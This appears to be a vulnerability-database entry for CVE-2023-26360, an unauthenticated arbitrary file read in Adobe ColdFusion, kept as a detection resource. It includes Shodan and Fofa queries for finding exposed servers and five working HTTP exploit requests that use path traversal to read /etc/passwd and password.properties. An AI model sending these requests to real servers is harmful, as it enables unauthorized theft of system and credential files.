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CVE-2023-26360: Adobe ColdFusion - Local File Read

TitleAdobe ColdFusion - Local File Read
AuthorDhiyaneshDK,7own
SeverityHigh
ImpactThis vulnerability can lead to unauthorized access to sensitive information stored on the server.
RemediationApply the necessary security patches or updates provided by Adobe to fix the vulnerability.
CVSS Score8.6
EPSS Score0.9433
CVE IDCVE-2023-26360
CWE IDCWE-284
Shodan Queryhttp.component:"Adobe ColdFusion"http.component:"adobe coldfusion"http.title:"coldfusion administrator login"cpe:"cpe:2.3:a:adobe:coldfusion"
Fofa Querytitle="coldfusion administrator login"app="adobe-coldfusion"
Tags cve2023 cve packetstorm adobe coldfusion lfi kev vkev vuln

🔍 Vulnerability Description

Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier

🌐 HTTP Request

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /cfusion/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26360.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-26360.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A